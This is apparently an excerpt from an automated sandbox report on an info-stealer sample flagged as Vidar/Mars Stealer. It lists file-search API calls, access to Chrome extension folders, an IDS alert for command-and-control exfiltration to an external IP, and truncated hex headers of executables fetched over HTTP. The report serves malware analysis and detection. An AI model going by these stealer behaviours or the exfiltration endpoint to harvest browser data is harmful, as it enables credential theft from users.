Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_00409D30
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409B60
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00405F70

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2033163 - Severity 1 - ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil : 192.168.2.4:49730 -> 104.194.151.11:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:55 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "9d9d8-6200e4e88720f"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "519d0-6200e4e818494"Accept-Ranges: bytesContent-Length: 334288Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "217d0-6200e4e840d08"Accept-Ranges: bytesContent-Length: 137168Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:58 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "6b738-6200e4e857852"Accept-Ranges: bytesContent-Length: 440120Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:58 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "1303d0-6200e4e85fd23"Accept-Ranges: bytesContent-Length: 1246160Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:21:59 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "235d0-6200e4e86cc2d"Accept-Ranges: bytesContent-Length: 144848Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 10:22:00 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "14748-6200e4e8856b7"Accept-Ranges: bytesContent-Length: 83784Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 